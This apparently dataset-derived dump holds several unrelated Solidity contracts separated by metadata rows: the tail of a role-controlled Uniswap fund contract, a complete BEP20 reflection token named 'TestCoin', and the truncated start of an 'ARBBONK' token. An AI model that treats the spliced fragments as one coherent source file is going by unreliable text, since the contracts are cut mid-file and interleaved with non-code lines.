struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, msg.sender), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, msg.sender), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == msg.sender, "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, msg.sender);
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, msg.sender);
}
}
}
contract ScheduleData is AccessControl {
using SafeMath for uint;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN");
bytes32 public constant POSITION_ROLE = keccak256("POSITION");
bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW");
address public Rose;
address payable OPS;
address StorageAddress;
mapping(address => bool) fundManageAddress;
IRosPledge IPledge;
address public uniswapAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public USDC;
address public WETH;
address public WBTC;
address public BillAddress;
address VerifierAddress;
address signAddress;
uint[] public PositionRate = [15, 14, 13, 12];
uint[] public PositionRateThreshold = [0, 1 ether, 3 ether, 5 ether];
constructor() public {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(ADMIN_ROLE, msg.sender);
}
modifier roleCheck(bytes32 role) {
require(hasRole(role, msg.sender), "SCHEDULE:DON'T_HAVE_PERMISSION");
_;
}
function setPositionRate(uint[] memory _rate, uint[] memory _threshold) external roleCheck(ADMIN_ROLE) {
PositionRate = _rate;
PositionRateThreshold = _threshold;
}
function setSignAddress(address _addr) external roleCheck(ADMIN_ROLE) {
signAddress = _addr;
}
function setVerifierAddress(address _addr) external roleCheck(ADMIN_ROLE) {
VerifierAddress = _addr;
}
function setFundManageAddress(address _fundManageContract, bool _enable) public roleCheck(ADMIN_ROLE) {
fundManageAddress[_fundManageContract] = _enable;
}
function setRose(address _ros) external roleCheck(ADMIN_ROLE) {
Rose = _ros;
}
function setOPSAddress(address payable _ops) external roleCheck(ADMIN_ROLE) {
OPS = _ops;
}
function setRosPledgeAddr(address _rosPledge) external roleCheck(ADMIN_ROLE) {
IPledge = IRosPledge(_rosPledge);
}
function setStorageAddr(address _Fund2MemAddr) external roleCheck(ADMIN_ROLE) {
StorageAddress = _Fund2MemAddr;
}
function setUniswapAddress(address _addr) external roleCheck(ADMIN_ROLE) {
uniswapAddress = _addr;
}
function setUSDC(address _usdc) external roleCheck(ADMIN_ROLE) {
USDC = _usdc;
}
function setWETH(address _weth) external roleCheck(ADMIN_ROLE) {
WETH = _weth;
}
}
contract ScheduleView is ScheduleData {
function _getRate(uint _ethNum) internal view returns (uint) {
uint _rate = 0;
uint[] memory _threshold = PositionRateThreshold;
uint[] memory _rateArr = PositionRate;
uint len = _threshold.length;
for (uint i = 0; i < len; i++) {
if (_ethNum > _threshold[i]) {
_rate = _rateArr[i];
} else {
break;
}
}
return _rate;
}
function _exchange(uint _ethNum, address _addr1, address _addr2) internal view returns (uint){
IUniswapRouterV2 _uniswap = IUniswapRouterV2(uniswapAddress);
address[] memory addr = new address[](2);
addr[0] = _addr1;
addr[1] = _addr2;
uint[] memory amounts = _uniswap.getAmountsOut(_ethNum, addr);
return amounts[1];
}
}
contract Schedule is ScheduleView {
constructor(address _Rose,
address _storeAddress,
address _USDC,
address _RosePledge,
address _bill,
address _wbtc,
address _VerifierAddress,
address[] memory _fundManage)public{
WETH = IUniswapRouterV2(uniswapAddress).WETH();
Rose = _Rose;
StorageAddress = _storeAddress;
USDC = _USDC;
IPledge = IRosPledge(_RosePledge);
BillAddress = _bill;
WBTC = _wbtc;
VerifierAddress = _VerifierAddress;
uint _len = _fundManage.length;
for (uint i = 0; i < _len; i++) {
setFundManageAddress(_fundManage[i], true);
}
}
function openPosition(address builder,
address periodManager,
bool rosPay) external payable roleCheck(POSITION_ROLE) returns (uint){
require(fundManageAddress[periodManager], "FUND_MANAGE_NOT_FUND");
(uint usdcValue, uint balanceEth, uint rosValue) = _countFeeAndVCharge(builder, rosPay);
return _openPosition(address(0), builder, periodManager, usdcValue, balanceEth, rosValue);
}
function openPosition(address inviter,
address builder,
address periodManager,
bool rosPay) external payable roleCheck(POSITION_ROLE) returns (uint){
require(fundManageAddress[periodManager], "FUND_MANAGE_NOT_FUND");
(uint usdcValue, uint balanceEth, uint rosValue) = _countFeeAndVCharge(builder, rosPay);
return _openPosition(inviter, builder, periodManager, usdcValue, balanceEth, rosValue);
}
function _countFeeAndVCharge(address builder, bool rosPay) internal returns (uint, uint, uint){
uint finOpValue = msg.value;
address _weth = WETH;
address _ros = Rose;
uint rosValue = _exchange(finOpValue, _weth, _ros);
uint _rate = _getRate(finOpValue);
if (rosPay) {
uint fee = rosValue.mul(_rate * 80).div(100000);
rosValue = rosValue.sub(fee);
require(IERC20(_ros).transferFrom(builder, OPS, fee), "OPERATION_CHARGE_INSUFFICIENT");
} else {
uint fee = finOpValue.mul(_rate).div(1000);
finOpValue = finOpValue.sub(fee);
rosValue = rosValue.mul(1000 - _rate).div(1000);
OPS.transfer(fee);
}
uint usdcValue = _exchange(finOpValue, _weth, USDC);
return (usdcValue, finOpValue, rosValue);
}
function _openPosition(address inviter,
address builder,
address periodManager,
uint usdcValue,
uint balanceEth,
uint rosValue) internal returns (uint _mint){
require(builder != address(0), "Cannot be an empty address");
require(balanceEth != 0, "The amount of warehouse building cannot be equal to 0");
uint _totalSupply = IERC20(BillAddress).totalSupply();
if (_totalSupply > 0){
(uint _ethNum, uint _USDNum, uint _WBTCNum) = IStorage(StorageAddress).getTotalAssert();
uint _eth2USDValue = _ethNum.mul(usdcValue).div(balanceEth);
if (_WBTCNum > 0) {
uint _wbtc2USDValue = _exchange(_WBTCNum, WBTC, USDC);
_USDNum = _USDNum.add(_wbtc2USDValue).add(_eth2USDValue);
} else {
_USDNum = _USDNum.add(_eth2USDValue);
}
_mint = _totalSupply.mul(usdcValue).div(_USDNum);
} else {
_mint = balanceEth;
}
IERC20(BillAddress).mint(builder, _mint);
bytes32 _id = IPledge.pledgeIn(builder, usdcValue, balanceEth, rosValue, inviter, _mint);
IFundManager(periodManager).takePosition{value:balanceEth}(builder, usdcValue, _id);
}
function _withdraw(address periodManager,
address[] memory _addr,
address tokenAddr,
uint[] memory tokenNum,
uint[] memory rewardNum,
uint[] memory billTokenNum,
uint[] memory tokenChargeNum,
uint[] memory tokenBrokerageNum) internal returns (uint) {
uint _tokenNum = IFundManager(periodManager).outOfPosition(_addr,
tokenAddr,
tokenNum,
billTokenNum,
tokenBrokerageNum,
tokenChargeNum);
IPledge.rewardToPosition(_addr, rewardNum);
IERC20(BillAddress).burnMulti(_addr, billTokenNum);
return _tokenNum;
}
function withdraw(address[2] memory _contractAddr,
address[] memory _addr,
uint[] memory tokenNum,
uint[] memory rewardNum,
uint[] memory billTokenNum,
uint[] memory tokenChargeNum,
uint[] memory tokenBrokerageNum,
uint[2][2][2] memory a,
uint[21] memory input) external roleCheck(WITHDRAW_ROLE) {
require(IVerifier(VerifierAddress).verifyTx(a[0][0], a[1], a[0][1], input), "VERIFIER_FAIL");
require(tokenNum.length == rewardNum.length &&
tokenNum.length == billTokenNum.length &&
tokenNum.length == tokenChargeNum.length &&
tokenNum.length == tokenBrokerageNum.length,
"ARRAY_LENGTH_UNLIKE");
uint _tokenNum = _withdraw(_contractAddr[0],
_addr,
_contractAddr[1],
tokenNum,
rewardNum,
billTokenNum,
tokenChargeNum,
tokenBrokerageNum);
_setStorage(_contractAddr[1], _tokenNum);
}
function _setStorage(address tokenAddr,
uint _tokenNum) internal {
IStorage _storage = IStorage(StorageAddress);
(uint _ethNum, uint _USDNum, uint _WBTCNum) = _storage.getTotalAssert();
if (tokenAddr == USDC) {
_USDNum = _USDNum.sub(_tokenNum);
} else {
_WBTCNum = _WBTCNum.sub(_tokenNum);
}
_storage.setTotalAssert(_ethNum, _USDNum, _WBTCNum);
}
}
| 238,210 | 13,550 |
01527a9c3daa664d1fd92c07051ed6bffe8893288a3f3d7d815fee6affb43e2f
| 29,218 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x43a55c3f94a0ECc2256B58ad959c18D56f3ddA79/contract.sol
| 5,203 | 18,521 |
pragma solidity ^0.6.0;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TestCoin is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Test Coin';
string private constant _SYMBOL = 'TEST';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 10000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _TAX_FEE = 0;
uint256 private _BURN_FEE = 0;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 50 && taxFee <= 1000, 'taxFee should be in 1 - 10');
_TAX_FEE = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 50 && burnFee <= 1000, 'burnFee should be in 1 - 10');
_BURN_FEE = burnFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 255,868 | 13,551 |
50a49402f01f3ede989425f5210be7ae6df62e2219adc7d48be1e434674c3466
| 16,821 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/42/420a6040e30cfce1a568d8e2d59282bfb313d9c2_ARBBONK.sol
| 4,619 | 16,122 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
